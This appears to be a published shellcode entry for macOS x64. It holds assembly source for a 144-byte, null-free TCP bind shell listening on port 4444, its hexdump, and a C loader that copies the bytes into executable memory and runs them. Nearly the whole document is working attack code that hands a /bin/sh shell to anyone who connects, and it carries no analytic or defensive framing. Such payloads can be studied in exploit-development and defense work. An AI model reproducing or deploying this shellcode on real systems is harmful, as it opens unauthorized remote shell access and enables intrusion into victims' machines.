;OS X x64, TCP bind shellcode (port 4444), NULL byte free, 144 bytes long ;ASM code ;compile: ;nasm -f macho64 bind-shellcode.asm ;ld -macosx_version_min 10.7.0 -o bindsc bind-shellcode.o BITS 64 global start section .text ;Argument order: rdi, rsi, rdx, rcx start: ;socket xor rdi,rdi ;zero out RSI mov dil, 0x2 ;AF_INET = 2 xor rsi,rsi ;zero out RSI mov sil, 0x1 ;SOCK_STREAM = 1 xor rdx, rdx ;protocol = IP = 0 ;store syscall number on RAX xor rax,rax ;zero out RAX mov al,2 ;put 2 to AL -> RAX = 0x0000000000000002 ror rax, 0x28 ;rotate the 2 -> RAX = 0x0000000002000000 mov al,0x61 ;move 3b to AL (execve socket#) -> RAX = 0x0000000002000061 mov r12, rax ;save RAX syscall ;trigger syscall ;bind mov r9, rax ;save socket number mov rdi, rax ;put return value to RDI int socket xor rsi, rsi ;zero out RSI push rsi ;push RSI to the stack mov esi, 0x5c110201 ;port number 4444 (=0x115c) sub esi,1 ;make ESI=0x5c110200 push rsi ;push RSI to the stack mov rsi, rsp ;store address mov dl,0x10 ;length of socket structure 0x10 add r12b, 0x7 ;RAX = 0x0000000002000068 bind mov rax, r12 ;restore RAX syscall ;listen ;RDI already contains the socket number xor rsi, rsi ;zero out RSI inc rsi ;backlog = 1 add r12b, 0x2 ;RAX = 0x000000000200006a listen mov rax, r12 ;restore RAX syscall ;accept 30 AUE_ACCEPT ALL { int accept(int s, caddr_t name, socklen_t *anamelen); } ;RDI already contains the socket number xor rsi, rsi ;zero out RSI ;RDX is already zero sub r12b, 0x4c ;RAX = 0x000000000200001e accept mov rax, r12 ;restore RAX syscall ;int dup2(u_int from, u_int to); mov rdi, rax xor rsi, rsi add r12b, 0x3c ;RAX = 0x000000000200005a dup2 mov rax, r12 ;restore RAX syscall inc rsi mov rax, r12 ;restore RAX syscall xor rsi,rsi ;zero out RSI push rsi ;push NULL on stack mov rdi, 0x68732f6e69622f2f ;mov //bin/sh string to RDI (reverse) push rdi ;push rdi to the stack mov rdi, rsp ;store RSP (points to the command string) in RDI xor rdx, rdx ;zero out RDX sub r12b, 0x1f ;RAX = 0x000000000200003b execve mov rax, r12 ;restore RAX syscall ;trigger syscall /* $ nasm -f bin bind-shellcode.asm $ hexdump bind-shellcode 0000000 48 31 ff 40 b7 02 48 31 f6 40 b6 01 48 31 d2 48 0000010 31 c0 b0 02 48 c1 c8 28 b0 61 49 89 c4 0f 05 49 0000020 89 c1 48 89 c7 48 31 f6 56 be 01 02 11 5c 83 ee 0000030 01 56 48 89 e6 b2 10 41 80 c4 07 4c 89 e0 0f 05 0000040 48 31 f6 48 ff c6 41 80 c4 02 4c 89 e0 0f 05 48 0000050 31 f6 41 80 ec 4c 4c 89 e0 0f 05 48 89 c7 48 31 0000060 f6 41 80 c4 3c 4c 89 e0 0f 05 48 ff c6 4c 89 e0 0000070 0f 05 48 31 f6 56 48 bf 2f 2f 62 69 6e 2f 73 68 0000080 57 48 89 e7 48 31 d2 41 80 ec 1f 4c 89 e0 0f 05 0000090 */ //C code //compile: //gcc bind-shellcode.c -o bindsc #include #include #include #include int (*sc)(); char shellcode[] = "\x48\x31\xff\x40\xb7\x02\x48\x31\xf6\x40\xb6\x01\x48\x31\xd2\x48" \ "\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x61\x49\x89\xc4\x0f\x05\x49" \ "\x89\xc1\x48\x89\xc7\x48\x31\xf6\x56\xbe\x01\x02\x11\x5c\x83\xee" \ "\x01\x56\x48\x89\xe6\xb2\x10\x41\x80\xc4\x07\x4c\x89\xe0\x0f\x05" \ "\x48\x31\xf6\x48\xff\xc6\x41\x80\xc4\x02\x4c\x89\xe0\x0f\x05\x48" \ "\x31\xf6\x41\x80\xec\x4c\x4c\x89\xe0\x0f\x05\x48\x89\xc7\x48\x31" \ "\xf6\x41\x80\xc4\x3c\x4c\x89\xe0\x0f\x05\x48\xff\xc6\x4c\x89\xe0" \ "\x0f\x05\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" \ "\x57\x48\x89\xe7\x48\x31\xd2\x41\x80\xec\x1f\x4c\x89\xe0\x0f\x05"; int main(int argc, char **argv) { void *ptr = mmap(0, 0x90, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } memcpy(ptr, shellcode, sizeof(shellcode)); sc = ptr; sc(); return 0; }